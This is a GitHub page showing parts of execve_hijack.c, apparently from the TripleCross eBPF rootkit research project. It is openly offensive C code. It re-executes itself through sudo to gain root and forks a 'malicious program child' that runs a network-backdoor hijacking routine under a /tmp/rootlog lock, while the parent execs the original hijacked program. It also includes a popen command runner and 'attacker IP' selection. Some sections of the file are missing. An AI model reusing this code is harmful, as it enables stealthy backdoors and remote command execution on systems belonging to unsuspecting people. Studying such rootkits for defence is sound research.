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TripleCross / src / helpers / execve_hijack.c


h3xduck Finished section 5. Multiple changes in the code accordi...


5d6619c · 2 years ago

History

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1f1c3e0



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Code


Blame

343 lines (283 loc) · 9.43 KB

Raw







19

#include <sys/time.h>

20

#include <errno.h>

21

#include <syslog.h>

22

#include <dlfcn.h>

23

#include <sys/timerfd.h>

24

#include <ifaddrs.h>

25

#include <linux/if_link.h>

26

27

#include "lib/RawTCP.h"

28

#include "../common/c&c.h"

29

#include <linux/bpf.h>

30

#include <bpf/bpf.h>

31

#include <bpf/libbpf.h>

32

33

#define LOCK_FILE "/tmp/rootlog"

34

#define DEFAULT_NETWORK_INTERFACE "enp0s3"

35

36

int test_time_values_injection(){

37

38

struct itimerspec new_value, new_value2;

39

int max_exp, fd, fd2;

40

struct timespec now;

41

uint64_t exp, tot_exp;

42

ssize_t s;

43

44

45

fd = timerfd_create(CLOCK_REALTIME, 0);

46

if (fd == -1)

47

return -1;

48

49

new_value.it_interval.tv_sec = 30;

50

new_value.it_interval.tv_nsec = 0;

51

52

if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)

53

return -1;

54

55

fd2 = timerfd_create(CLOCK_REALTIME, 0);

56

if (fd2 == -1)

57

return -1;

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- simple_timer.c
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```
37         return -1;
38
39     new_value2.it_interval.tv_sec = 30;
40     new_value2.it_interval.tv_nsec = 0;
41
42     if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
43         return -1;
44
45     printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
46
47     return 0;
48 }
49
50 char* execute_command(char* command){
51     FILE *fp;
52     char* res = calloc(4096, sizeof(char));
53     char buf[1024];
54
55     fp = popen(command, "r");
56     if(fp == NULL) {
57         printf("Failed to run command\n" );
58         return "COMMAND ERROR";
59     }
60
61     while(fgets(buf, sizeof(buf), fp) != NULL) {
62         strcat(res, buf);
63     }
64     printf("RESULT OF COMMAND: %s\n", res);
65
66     pclose(fp);
67     return res;
68 }
69
70 /**
71  * @brief Improved version of getting local IP
72  * Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
73  *
74  * @return char*
75  */
76 char* getLocalIpAddress(){
77     char hostbuffer[256];
78     char* IPbuffer = calloc(256, sizeof(char));
79     struct hostent *host_entry;
80     int hostname;
81
82     struct ifaddrs *ifaddr;
83     int family, s;
84     char host[NI_MAXHOST];
85
86     if (getifaddrs(&ifaddr) == -1) {
87         perror("getifaddrs");
88         exit(EXIT_FAILURE);
89     }
90
91     /* Walk through linked list, maintaining head pointer so we
92      can free list later. */
93
94     for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
95         if (ifa->ifa_addr == NULL)
96             continue;
97
98         family = ifa->ifa_addr->sa_family;
99
100         /* Display interface name and family (including symbolic
101          form of the latter for the common families). */
102
103         //printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(f
104         /* For an AF_INET* interface address, display the address. */
105
106         if (family == AF_INET || family == AF_INET6) {
107             s = getnameinfo(ifa->ifa_addr,
108                             (family == AF_INET) ? sizeof(struct sockaddr_in) :
```

```
132                                     sizeof(struct sockaddr_in6),
133                                     host, NI_MAXHOST,
134                                     NULL, 0, NI_NUMERICHOST);
135 if (s != 0) {
136     printf("getnameinfo() failed: %s\n", gai_strerror(s));
137     exit(EXIT_FAILURE);
138 }
139
140 //printf("\t\taddress: <%s>\n", host);
141 if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
142     //Interface we chose
143     printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
144     strcpy(IPbuffer, host);
145     return IPbuffer;
146 }
147 }
148
149 }
150
```

```
270
271     if(geteuid() != 0){
272         //We do not have privileges, but we do want them. Let's rerun the program now.
273         char* args[argc+3];
274         args[0] = "sudo";
275         args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
276         //printf("execve ARGS%i: %s\n", 0, args[0]);
277         //printf("execve ARGS%i: %s\n", 1, args[1]);
278         for(int ii=0; ii<argc; ii++){
279             args[ii+2] = argv[ii];
280             //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
```

```
281         }
282         args[argc+2] = NULL;
283
284         if(execve("/usr/bin/sudo", args, envp)<0){
285             perror("Failed to execve()");
286             exit(-1);
287         }
288         exit(0);
289     }
290
291
292     //We proceed to fork() and exec the original program, whilst also executing the one
293     //ordered to execute via the network backdoor
294     pid_t pid = fork();
295
296     if (pid < 0) {
297         perror("Fork failed");
298     }
299     if (pid == 0) {
300         setsid();
301         //Child process
302         printf("Malicious program child executed with pid %d\n", (int) getpid());
303
304         //First of all check if the locking log file is locked, which indicates that th
305         int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
306         if(fd<0){
307             perror("Failed to open lock file before entering hijacking routine");
308             exit(-1);
309         }
310         if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
311             if (errno == EWOULDBLOCK) {
312                 perror("lock file was locked");
313             } else {
314                 perror("Error with the lockfile");
315             }
316             exit(-1);
317         }
318         hijacker_process_routine(argc, argv, fd);
319         printf("Child process is exiting\n");
320         exit(0);
321     }
322     //Parent process. Call original hijacked command
323     char* hij_args[argc];
324     hij_args[0] = argv[1];
325     syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
326     for(int ii=0; ii<argc-2; ii++){
327         hij_args[ii+1] = argv[ii+2];
328         syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
329     }
330     hij_args[argc-1] = NULL;
331
332     if(execve(argv[1], hij_args, envp)<0){
333         perror("Failed to execve() originally hijacked process");
334         exit(-1);
335     }
336
337     wait(NULL);
338     printf("parent process is exiting\n");
339     return(0);
340
341
342
343 }
```